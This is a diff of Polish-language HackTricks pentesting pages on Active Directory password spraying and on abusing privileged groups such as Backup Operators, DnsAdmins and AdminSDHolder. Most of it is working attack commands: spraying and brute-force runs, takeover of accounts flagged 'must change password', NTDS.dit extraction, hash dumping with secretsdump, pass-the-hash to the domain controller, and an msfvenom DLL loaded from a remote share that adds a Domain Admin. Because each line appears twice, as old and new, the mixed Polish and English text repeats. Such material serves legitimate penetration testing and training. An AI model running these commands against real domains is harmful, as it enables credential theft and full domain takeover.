| netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami" | ||||
| 
 | ||||
| # Tip: sync your clock before Kerberos-based auth to avoid skew issues | ||||
| sudo ntpdate <DC_FQDN> | ||||
| ``` | ||||
| - Korzystanie z [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) | ||||
| ```bash | ||||
| # Password Spraying | ||||
| ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 | ||||
| # Brute-Force | ||||
| ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman | ||||
| ``` | ||||
| - [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć blokad):**_ | ||||
| - [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowań):**_ | ||||
| ```bash | ||||
| spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN> | ||||
| ``` | ||||
| - Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA | ||||
| - Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE ZALECANE, CZASAMI NIE DZIAŁA | ||||
| ```bash | ||||
| python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt | ||||
| python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt | ||||
| @ -67,9 +82,9 @@ for u in $(cat users.txt); do | ||||
| rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; | ||||
| done | ||||
| ``` | ||||
| #### Z systemu Windows | ||||
| #### Z Windows | ||||
| 
 | ||||
| - Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: | ||||
| - Za pomocą [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: | ||||
| ```bash | ||||
| # with a list of users | ||||
| .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file> | ||||
| @ -77,7 +92,7 @@ done | ||||
| # check passwords for all users in current domain | ||||
| .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file> | ||||
| ``` | ||||
| - With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może generować użytkowników z domeny oraz pobiera politykę haseł z domeny i ogranicza liczbę prób zgodnie z nią): | ||||
| - Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny, pobrać politykę haseł i ograniczyć próby zgodnie z nią): | ||||
| ```bash | ||||
| Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose | ||||
| ``` | ||||
| @ -87,10 +102,10 @@ Invoke-SprayEmptyPassword | ||||
| ``` | ||||
| ### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR) | ||||
| 
 | ||||
| Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wychwyceniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało przymusowo wygaszone i można je zmienić bez znajomości poprzedniego. | ||||
| Technika niskiego poziomu hałasu polega na spray a benign/empty password i wykryciu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co wskazuje, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości starego. | ||||
| 
 | ||||
| Przebieg: | ||||
| - Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów: | ||||
| Workflow: | ||||
| - Wykonaj enumerację użytkowników (RID brute via SAMR), aby zbudować listę celów: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md | ||||
| @ -99,12 +114,12 @@ Przebieg: | ||||
| # NetExec (null/guest) + RID brute to harvest users | ||||
| netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt | ||||
| ``` | ||||
| - Spryskaj pustym hasłem i kontynuuj przy trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: | ||||
| - Użyj password spraying z pustym hasłem i kontynuuj po trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: | ||||
| ```bash | ||||
| # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results | ||||
| netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success | ||||
| ``` | ||||
| - Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec’s (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): | ||||
| - Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): | ||||
| ```bash | ||||
| # Strong complexity to satisfy policy | ||||
| env NEWPASS='P@ssw0rd!2025#' ; \ | ||||
| @ -115,23 +130,23 @@ netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol | ||||
| ``` | ||||
| Uwagi operacyjne: | ||||
| - Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate <dc_fqdn>`. | ||||
| - Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw logowania interaktywnego. | ||||
| - Znak [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są prawidłowe, ale konto nie ma praw do logowania interaktywnego. | ||||
| 
 | ||||
| ## Brute Force | ||||
| ```bash | ||||
| legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org | ||||
| ``` | ||||
| ### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i throttlingiem uwzględniającym PSO (SpearSpray) | ||||
| ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) | ||||
| 
 | ||||
| Kerberos pre-auth–based spraying zmniejsza szum w porównaniu do prób bind SMB/NTLM/LDAP i lepiej współgra z politykami blokowania AD. SpearSpray łączy ukierunkowanie oparte na LDAP, silnik wzorców i świadomość polityk (domain policy + PSOs + badPwdCount buffer), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte konta w Neo4j dla ścieżek BloodHound. | ||||
| Kerberos pre-auth–based spraying zmniejsza hałas w porównaniu z próbami bind SMB/NTLM/LDAP i lepiej współgra z politykami lockout w AD. SpearSpray łączy LDAP-driven targeting, pattern engine oraz policy awareness (domain policy + PSOs + bufor badPwdCount), aby wykonywać spray precyzyjnie i bezpiecznie. Może też oznaczać przejęte principals w Neo4j dla ścieżek w BloodHound. | ||||
| 
 | ||||
| Key ideas: | ||||
| - LDAP user discovery z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP. | ||||
| - Domain lockout policy + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (threshold) i unikać blokowania użytkowników. | ||||
| - Walidacja Kerberos pre-auth przy użyciu szybkich gssapi bindings (generuje 4768/4771 na DCs zamiast 4625). | ||||
| - Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości temporalne wyprowadzone z pwdLastSet każdego użytkownika. | ||||
| - Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę. | ||||
| - Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound. | ||||
| - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. | ||||
| - Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. | ||||
| - Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). | ||||
| - Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. | ||||
| - Throughput control with threads, jitter, and max requests per second. | ||||
| - Optional Neo4j integration to mark owned users for BloodHound. | ||||
| 
 | ||||
| Basic usage and discovery: | ||||
| ```bash | ||||
| @ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local | ||||
| # LDAPS (TCP/636) | ||||
| spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl | ||||
| ``` | ||||
| Targetowanie i kontrola wzorców: | ||||
| Celowanie i kontrola wzorców: | ||||
| ```bash | ||||
| # Custom LDAP filter (e.g., target specific OU/attributes) | ||||
| spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ | ||||
| @ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local | ||||
| # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} | ||||
| spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME | ||||
| ``` | ||||
| Kontrole stealth i bezpieczeństwa: | ||||
| Kontrole ukrycia i bezpieczeństwa: | ||||
| ```bash | ||||
| # Control concurrency, add jitter, and cap request rate | ||||
| spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 | ||||
| @ -176,27 +191,27 @@ Przegląd systemu wzorców (patterns.txt): | ||||
| ``` | ||||
| Dostępne zmienne obejmują: | ||||
| - {name}, {samaccountname} | ||||
| - Temporal z pwdLastSet każdego użytkownika (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} | ||||
| - Elementy pomocnicze kompozycji i token organizacji: {separator}, {suffix}, {extra} | ||||
| - Wartości czasowe z każdego użytkownika: pwdLastSet (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} | ||||
| - Pomocnicze elementy kompozycji i token organizacji: {separator}, {suffix}, {extra} | ||||
| 
 | ||||
| Uwagi operacyjne: | ||||
| - Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z politykami. | ||||
| - Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i odpowiedniego rozłożenia w czasie, aby pozostać bezpiecznym. | ||||
| - Próby pre-auth Kerberos pojawiają się jako 4768/4771 w telemetryce DC; używaj jitter i rate-limiting, aby się wtopić. | ||||
| - Preferuj zapytania do PDC-emulator z użyciem -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką. | ||||
| - Reset badPwdCount jest wyzwalany przy następnym podejściu po okresie obserwacji; stosuj progi i odpowiednie odstępy czasowe, aby zachować bezpieczeństwo. | ||||
| - Próby Kerberos pre-auth pojawiają się jako 4768/4771 w DC telemetry; używaj jitter i rate-limiting, aby się wtopić. | ||||
| 
 | ||||
| > Wskazówka: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. | ||||
| > Wskazówka: Domyślny rozmiar strony LDAP w SpearSpray to 200; w razie potrzeby dostosuj za pomocą -lps. | ||||
| 
 | ||||
| ## Outlook Web Access | ||||
| 
 | ||||
| Istnieje wiele narzędzi do p**assword spraying outlook**. | ||||
| Jest wiele narzędzi do p**assword spraying outlook**. | ||||
| 
 | ||||
| - Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) | ||||
| - Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) | ||||
| - Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodny!) | ||||
| - z [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) | ||||
| - Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodne!) | ||||
| - Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) | ||||
| - Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) | ||||
| 
 | ||||
| Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / krótkiej listy passwords do sprayowania. | ||||
| Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray. | ||||
| ```bash | ||||
| ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose | ||||
| [x] Failed: larsson:Summer2020 | ||||
| @ -215,7 +230,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o | ||||
| - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) | ||||
| - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) | ||||
| 
 | ||||
| ## Referencje | ||||
| ## Źródła | ||||
| 
 | ||||
| - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) | ||||
| - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) | ||||
| @ -227,6 +242,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o | ||||
| - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) | ||||
| - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) | ||||
| - [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) | ||||
| - [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -4,25 +4,25 @@ | ||||
| 
 | ||||
| ## Znane grupy z uprawnieniami administracyjnymi | ||||
| 
 | ||||
| - **Administratorzy** | ||||
| - **Administratorzy domeny** | ||||
| - **Administratorzy przedsiębiorstwa** | ||||
| - **Administrators** | ||||
| - **Domain Admins** | ||||
| - **Enterprise Admins** | ||||
| 
 | ||||
| ## Operatorzy kont | ||||
| ## Account Operators | ||||
| 
 | ||||
| Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do Kontrolera Domeny (DC). | ||||
| Ta grupa ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC). | ||||
| 
 | ||||
| Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "Account Operators" -Recurse | ||||
| ``` | ||||
| Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01. | ||||
| Dozwolone jest dodawanie nowych użytkowników oraz lokalne logowanie do DC. | ||||
| 
 | ||||
| ## Grupa AdminSDHolder | ||||
| ## Grupa **AdminSDHolder** | ||||
| 
 | ||||
| Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom. | ||||
| Lista kontroli dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich „chronionych grup” w Active Directory, w tym grup o wysokich uprawnieniach. Ten mechanizm zabezpiecza te grupy, uniemożliwiając nieautoryzowane modyfikacje. | ||||
| 
 | ||||
| Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu. | ||||
| Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder** i przyznając zwykłemu użytkownikowi pełne uprawnienia. Spowodowałoby to, że użytkownik miałby de facto pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną one automatycznie przywrócone w ciągu godziny ze względu na sposób działania systemu. | ||||
| 
 | ||||
| Polecenia do przeglądania członków i modyfikowania uprawnień obejmują: | ||||
| ```bash | ||||
| @ -30,31 +30,31 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse | ||||
| Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All | ||||
| Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} | ||||
| ``` | ||||
| Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). | ||||
| Dostępny jest skrypt przyspieszający proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). | ||||
| 
 | ||||
| Aby uzyskać więcej szczegółów, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). | ||||
| Więcej informacji na [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). | ||||
| 
 | ||||
| ## Kosz na AD | ||||
| ## AD Recycle Bin | ||||
| 
 | ||||
| Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje: | ||||
| ```bash | ||||
| Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * | ||||
| ``` | ||||
| ### Dostęp do Kontrolera Domeny | ||||
| ### Dostęp do kontrolera domeny | ||||
| 
 | ||||
| Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy `Server Operators`, co zmienia poziom dostępu. | ||||
| Dostęp do plików na DC jest ograniczony, chyba że użytkownik należy do grupy `Server Operators`, co zmienia poziom uprawnień. | ||||
| 
 | ||||
| ### Eskalacja Uprawnień | ||||
| ### Privilege Escalation | ||||
| 
 | ||||
| Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień: | ||||
| Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmienić uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co umożliwia wykonywanie dowolnych poleceń i privilege escalation: | ||||
| ```cmd | ||||
| C:\> .\PsService.exe security AppReadiness | ||||
| ``` | ||||
| To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulację usługami w celu uzyskania podwyższonych uprawnień. | ||||
| To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulowanie usługami w celu eskalacji uprawnień. | ||||
| 
 | ||||
| ## Backup Operators | ||||
| 
 | ||||
| Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` dzięki uprawnieniom `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie. | ||||
| Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` z powodu uprawnień `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przeglądanie folderów, listowanie i kopiowanie plików, nawet bez jawnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. W tym celu konieczne jest użycie odpowiednich skryptów. | ||||
| 
 | ||||
| Aby wyświetlić członków grupy, wykonaj: | ||||
| ```bash | ||||
| @ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse | ||||
| ``` | ||||
| ### Atak lokalny | ||||
| 
 | ||||
| Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki: | ||||
| Aby wykorzystać te uprawnienia lokalnie, wykonuje się następujące kroki: | ||||
| 
 | ||||
| 1. Importuj niezbędne biblioteki: | ||||
| 1. Zaimportuj niezbędne biblioteki: | ||||
| ```bash | ||||
| Import-Module .\SeBackupPrivilegeUtils.dll | ||||
| Import-Module .\SeBackupPrivilegeCmdLets.dll | ||||
| @ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll | ||||
| Set-SeBackupPrivilege | ||||
| Get-SeBackupPrivilege | ||||
| ``` | ||||
| 3. Uzyskaj dostęp i skopiuj pliki z zastrzeżonych katalogów, na przykład: | ||||
| 3. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład: | ||||
| ```bash | ||||
| dir C:\Users\Administrator\ | ||||
| Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite | ||||
| ``` | ||||
| ### AD Attack | ||||
| ### Atak AD | ||||
| 
 | ||||
| Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych `NTDS.dit`, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie. | ||||
| Bezpośredni dostęp do systemu plików kontrolera domeny pozwala na kradzież bazy `NTDS.dit`, która zawiera wszystkie hashe NTLM użytkowników i komputerów w domenie. | ||||
| 
 | ||||
| #### Using diskshadow.exe | ||||
| #### Korzystanie z diskshadow.exe | ||||
| 
 | ||||
| 1. Create a shadow copy of the `C` drive: | ||||
| 1. Utwórz shadow copy dysku `C`: | ||||
| ```cmd | ||||
| diskshadow.exe | ||||
| set verbose on | ||||
| @ -98,27 +98,35 @@ expose %cdrive% F: | ||||
| end backup | ||||
| exit | ||||
| ``` | ||||
| 2. Skopiuj `NTDS.dit` z kopii zapasowej: | ||||
| 2. Skopiuj `NTDS.dit` z shadow copy: | ||||
| ```cmd | ||||
| Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit | ||||
| ``` | ||||
| Alternatywnie, użyj `robocopy` do kopiowania plików: | ||||
| Alternatywnie użyj `robocopy` do kopiowania plików: | ||||
| ```cmd | ||||
| robocopy /B F:\Windows\NTDS .\ntds ntds.dit | ||||
| ``` | ||||
| 3. Wyodrębnij `SYSTEM` i `SAM` w celu odzyskania haszy: | ||||
| 3. Wyodrębnij `SYSTEM` i `SAM` w celu pobrania hashów: | ||||
| ```cmd | ||||
| reg save HKLM\SYSTEM SYSTEM.SAV | ||||
| reg save HKLM\SAM SAM.SAV | ||||
| ``` | ||||
| 4. Pobierz wszystkie hashe z `NTDS.dit`: | ||||
| 4. Pobierz wszystkie hashes z `NTDS.dit`: | ||||
| ```shell-session | ||||
| secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL | ||||
| ``` | ||||
| #### Używanie wbadmin.exe | ||||
| 5. Po ekstrakcji: Pass-the-Hash do DA | ||||
| ```bash | ||||
| # Use the recovered Administrator NT hash to authenticate without the cleartext password | ||||
| netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami" | ||||
| 
 | ||||
| # Or execute via SMB using an exec method | ||||
| netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd | ||||
| ``` | ||||
| #### Użycie wbadmin.exe | ||||
| 
 | ||||
| 1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej. | ||||
| 2. Użyj `wbadmin.exe` do tworzenia kopii zapasowej systemu i ekstrakcji `NTDS.dit`: | ||||
| 2. Użyj `wbadmin.exe` do wykonania kopii zapasowej systemu i wyodrębnienia `NTDS.dit`: | ||||
| ```cmd | ||||
| net use X: \\<AttackIP>\sharename /user:smbuser password | ||||
| echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds | ||||
| @ -126,23 +134,29 @@ wbadmin get versions | ||||
| echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl | ||||
| ``` | ||||
| 
 | ||||
| Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). | ||||
| For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). | ||||
| 
 | ||||
| ## DnsAdmins | ||||
| 
 | ||||
| Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji. | ||||
| Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnej DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na Domain Controllers. Ta możliwość daje znaczny potencjał do wykorzystania. | ||||
| 
 | ||||
| Aby wyświetlić członków grupy DnsAdmins, użyj: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "DnsAdmins" -Recurse | ||||
| ``` | ||||
| ### Wykonaj dowolny DLL | ||||
| ### Execute arbitrary DLL (CVE‑2021‑40469) | ||||
| 
 | ||||
| Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak: | ||||
| > [!NOTE] | ||||
| > Ta luka umożliwia wykonanie dowolnego kodu z uprawnieniami SYSTEM w usłudze DNS (zazwyczaj na DCs). Problem został naprawiony w 2021 roku. | ||||
| 
 | ||||
| Members mogą spowodować, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udziału), używając poleceń takich jak: | ||||
| ```bash | ||||
| dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll | ||||
| dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll | ||||
| An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: | ||||
| 
 | ||||
| # If dnscmd is not installed run from aprivileged PowerShell session: | ||||
| Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools | ||||
| ``` | ||||
| 
 | ||||
| ```c | ||||
| @ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma | ||||
| // Generate DLL with msfvenom | ||||
| msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll | ||||
| ``` | ||||
| Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby DLL mogła zostać załadowana: | ||||
| Zrestartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby plik DLL został załadowany: | ||||
| ```csharp | ||||
| sc.exe \\dc01 stop dns | ||||
| sc.exe \\dc01 start dns | ||||
| ``` | ||||
| Dla uzyskania dalszych informacji na temat tego wektora ataku, odwołaj się do ired.team. | ||||
| Po więcej szczegółów na temat tego wektora ataku zobacz ired.team. | ||||
| 
 | ||||
| #### Mimilib.dll | ||||
| 
 | ||||
| Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) w celu uzyskania dalszych informacji. | ||||
| Możliwe jest także użycie mimilib.dll do wykonywania poleceń, modyfikując ją tak, aby uruchamiała określone komendy lub reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. | ||||
| 
 | ||||
| ### Rekord WPAD dla MitM | ||||
| 
 | ||||
| DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego. | ||||
| DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM) poprzez utworzenie rekordu WPAD po wyłączeniu global query block list. Narzędzia takie jak Responder lub Inveigh mogą być użyte do spoofingu i przechwytywania ruchu sieciowego. | ||||
| 
 | ||||
| ### Czytelnicy dzienników zdarzeń | ||||
| Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstu jawnego lub szczegóły wykonania poleceń: | ||||
| ### Event Log Readers | ||||
| Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci jawnej lub szczegóły wykonania poleceń: | ||||
| ```bash | ||||
| # Get members and search logs for sensitive information | ||||
| Get-NetGroupMember -Identity "Event Log Readers" -Recurse | ||||
| Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | ||||
| ``` | ||||
| ## Exchange Windows Permissions | ||||
| ## Uprawnienia Exchange Windows | ||||
| 
 | ||||
